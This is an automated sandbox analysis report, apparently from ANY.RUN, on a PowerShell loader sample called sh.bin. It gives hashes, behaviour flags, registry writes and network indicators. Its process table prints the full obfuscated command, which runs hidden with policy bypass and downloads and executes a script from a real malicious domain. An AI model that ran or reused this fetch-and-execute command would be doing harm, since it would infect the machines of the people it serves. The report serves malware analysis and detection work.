| download: | /sh.bin |
| Full analysis: | https://app.any.run/tasks/86a4bb32-aa0e-474b-b91b-e387c164a087 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 13, 2025, 13:12:02 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (1081), with CRLF line terminators |
| MD5: | CF0D378992BE23BCAEF7B03D339E7C74 |
| SHA1: | 61E256D93346B4C3BFFD771618D6CB2502D16A73 |
| SHA256: | 991F64B17C0C9D93243C8591983493AF0A835862717987CC25CC6560BD031701 |
| SSDEEP: | 6144:k5SAgAnAI6953WFCb3AEZAEBAEIAE0JAE00AE0vAE0cAE0MfAE0MIAE0MxAE0MYe:k5L695momp+XORVHPvEZd |
MALICIOUS
Bypass execution policy to execute commands
- powershell.exe (PID: 6532)
Script downloads file (POWERSHELL)
- powershell.exe (PID: 6532)
Run PowerShell with an invisible window
- powershell.exe (PID: 6532)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 6532)
SUSPICIOUS
Detects reflection assembly loader (YARA)
- powershell.exe (PID: 6532)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 6532)
Executes script without checking the security policy
- powershell.exe (PID: 6532)
INFO
Gets data length (POWERSHELL)
- powershell.exe (PID: 6532)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
124
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 6532 | "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6540 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
5 362
Read events
5 348
Write events
14
Delete events
0
Modification events
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (6532) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
0
Suspicious files
3
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6532 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_30peq0oe.lpm.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6532 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J1M0ZAWA3D5EICTX1QWI.temp | binary | |
MD5:38A08F5B01A3D1056C81901E02B6DA4C | SHA256:60EA75DCC4E3C51413CDDD762D1E9F82223BDE65D7A5F96B0441C4BBC523D57A | |||
| 6532 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jdimfhh0.50g.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6532 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:38A08F5B01A3D1056C81901E02B6DA4C | SHA256:60EA75DCC4E3C51413CDDD762D1E9F82223BDE65D7A5F96B0441C4BBC523D57A | |||
| 6532 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:03B2BFD0E9FA09284B7B6BE80AB70FD7 | SHA256:92D1F3A86A8E17CEC98840CA2D291E2E073147448E6C459792FA68F0944ABF9D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
30
DNS requests
18
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.176:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.218.209.163:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6528 | SIHClient.exe | GET | 200 | 23.218.209.163:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6528 | SIHClient.exe | GET | 200 | 23.218.209.163:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6712 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 104.126.37.171:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 23.48.23.176:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 23.218.209.163:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1176 | svchost.exe | 40.126.31.69:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1176 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
1076 | svchost.exe | 23.213.166.81:443 | go.microsoft.com | AKAMAI-AS | DE | whitelisted |
6532 | powershell.exe | 104.26.14.134:443 | d1.exploredairyaptitude.shop | CLOUDFLARENET | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
d1.exploredairyaptitude.shop |
| unknown |
slscr.update.microsoft.com |
| whitelisted |